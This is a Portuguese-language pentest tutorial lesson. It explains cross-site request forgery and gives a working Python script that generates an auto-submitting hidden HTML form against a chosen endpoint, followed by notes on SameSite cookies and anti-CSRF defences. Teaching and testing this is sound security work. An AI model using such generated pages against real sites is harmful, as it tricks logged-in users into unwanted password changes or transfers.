Cria formulários HTML automáticos para testar falsificação de requisição.

Contexto

O Cross-Site Request Forgery (CSRF) é um ataque que força um usuário autenticado a executar ações indesejadas em uma aplicação web na qual ele está logado. Se um site não utiliza tokens de segurança (como o CSRF Token), um atacante pode criar um formulário oculto em um site malicioso que envia uma requisição para o site alvo (ex: alterar senha, transferir fundos).

O objetivo deste módulo é:

  • Automatizar a criação do exploit: O Pentester fornece a URL alvo, o método (POST/GET) e os parâmetros.
  • Gerar o arquivo HTML: O script cria um arquivo .html que, ao ser aberto pela vítima, submete o formulário automaticamente via JavaScript.

Possibilidades de Implementação

  • Auto-Submit: O formulário gerado contém um pequeno script document.forms[0].submit() para que a ação ocorra sem cliques.
  • Suporte a múltiplos métodos: Capaz de gerar formulários para requisições POST e links simples para requisições GET.
  • Interface Interativa: O script Python pergunta ao usuário os campos e valores dinamicamente no terminal.

Código

Este módulo utiliza lógica de manipulação de strings para construir o template HTML do ataque.

import os

def generate_csrf_poc(url, method, params):
    """
    Gera um arquivo HTML de Prova de Conceito (PoC) para ataques CSRF.
    """
    # Template base do HTML com auto-submit via JavaScript
    html_template = f"""
<!DOCTYPE html>
<html>
    <head>
        <title>CSRF PoC - 30 Lessons in Python</title>
    </head>
    <body onload="document.forms[0].submit()">
        <h1>Processando... Por favor, aguarde.</h1>
        <form action="{url}" method="{method}">
    """

    # Adiciona os inputs dinamicamente com base nos parâmetros fornecidos
    for name, value in params.items():
        html_template += f'        <input type="hidden" name="{name}" value="{value}">\n'

    # Fecha o formulário
    html_template += """
        </form>
    </body>
</html>
    """

    # Salva o resultado em um arquivo
    filename = "csrf_poc.html"
    with open(filename, "w", encoding="utf-8") as f:
        f.write(html_template)

    return os.path.abspath(filename)

def main():
    print("=" * 60)
    print("Módulo: CSRF PoC Generator | Projeto: 30 Lessons in Python")
    print("=" * 60)

    # Coleta de informações para o exploit
    target_url = input("[?] URL do endpoint vulnerável (ex: http://alvo.com/update): ")
    target_method = input("[?] Método (POST/GET): ").upper()

    print("[*] Insira os parâmetros (ex: email=hacker@web.com). Digite 'fim' para gerar.")
    params = {}
    while True:
        entry = input(" > ")
        if entry.lower() == 'fim':
            break
        if '=' in entry:
            key, value = entry.split('=', 1)
            params[key] = value

    if params:
        file_path = generate_csrf_poc(target_url, target_method, params)
        print("\n" + "-" * 60)
        print(f"[+] Prova de Conceito gerada com sucesso!")
        print(f"[+] Arquivo salvo em: {file_path}")
        print("[!] Para testar, abra este arquivo em um navegador onde o alvo esteja logado.")
    else:
        print("[!] Nenhum parâmetro fornecido. Abortando.")

if __name__ == "__main__":
    main()

Observações

  • SameSite Cookies: Navegadores modernos implementam políticas de cookies SameSite=Lax por padrão, o que bloqueia muitos ataques CSRF simples. Este módulo é ideal para testar aplicações legadas ou configurações de cookies mal feitas.
  • Content-Type: Se a aplicação alvo exigir application/json, um formulário HTML padrão não funcionará. Nesses casos, o PoC precisaria ser feito via XMLHttpRequest ou Fetch API.
  • Prevenção: Explique em seu projeto que a defesa contra isso é o uso de Anti-CSRF Tokens e a verificação do cabeçalho Referer ou Origin.